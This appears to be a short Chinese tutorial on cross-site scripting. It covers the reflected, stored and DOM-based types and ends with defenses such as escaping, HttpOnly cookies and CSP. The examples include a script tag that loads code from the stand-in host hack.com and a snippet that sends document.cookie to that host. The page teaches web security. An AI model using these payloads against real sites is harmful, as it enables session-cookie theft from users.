XSS的定义
XSS(Cross Site Scripting),指的是跨站脚本攻击,攻击者在网页代码中注入脚本,当用户浏览网页的时候,脚本会在浏览器执行,达到攻击者的目的。常见的获取用户的Cookie
XSS的类型
XSS的类型有三种,分别是反射型XSS,持久型XSS,DOM-based XSS,下面分别介绍
反射型XSS
反射型XSS就是通过用户的数据来“反射”给浏览器,攻击者通过诱导用户点击恶意的链接,来获取用户的敏感信息。通常用来盗取cookie,举个栗子
用户登录了电商网站,用户通过搜索某些内容,回显结果的时候,服务端没有对搜索的内容进行处理,直接输出到页面
比如用户搜索商品内容为 %3Cscript%20src%3D%22http%3A%2F%2Fhack.com%2Fhacker.js%22%3E%3C%2Fscript%3E
解码后的输出搜索的内容到页面,相当于运行了
<script src="http://hack.com/hacker.js"></script>
hacker.js
返回的内容是
var img = new Image();
img.src = "http://hack.com/hack.html?q="+document.cookie;
document.body.append(img)
用户不小心点击了这张图片,就会导致发送一个请求到攻击者服务器,并且携带cookie。
存储型XSS
存储型XSS,是一种持久化的攻击,比如在发表评论和文章的地方,如果对内容进行直接存储,就可能导致攻击的代码存储到数据库,只要某一用户访问对应的内容时,就会触发XSS,反射型XSS能做到的存储型XSS也能做到,主要的区别是否是存储在数据库
DOM-based XSS
基于DOM的XSS,就是利用DOM来实现XSS攻击,不依赖于服务器返回,比如我们网站基于url参数来选择国际化语言
document.write("<option value=1>"+document.location.href.substring(
document.location.href.indexOf("default=")+8)+"</option>");
正常情况下的url为http://www.some.site/page.html?default=French
,浏览器会渲染option选项
如果攻击者构造url为http://www.some.site/page.html?default=<script>alert(document.cookie)</script>
,就会产生攻击,获取到受害者的cookie
也可以通过img,script标签的src属性来实现XSS,因为<img src="https://www.baidu.com?a=document.cookie" />
也会向攻击者发送一个请求
XSS的防御
在前端开发的时候,我们需要做好几点
- 对用户提交的数据,比如搜索,表单,评论等等,都需要进行过滤和转码后提交,服务器最好也要做响应的处理
- 对js控制输出到页面代码,比如
innerHTML
,document.write
,eval
,等操作。要防止直接输出,要对内容进行转义 - 设置cookie的
HttpOnly
属性,这样浏览器就无法通过脚本获取到cookie的值 - 使用CSP制定浏览器能够执行的可信赖脚本的域名来减少或者消除由XSS可能出现的矢量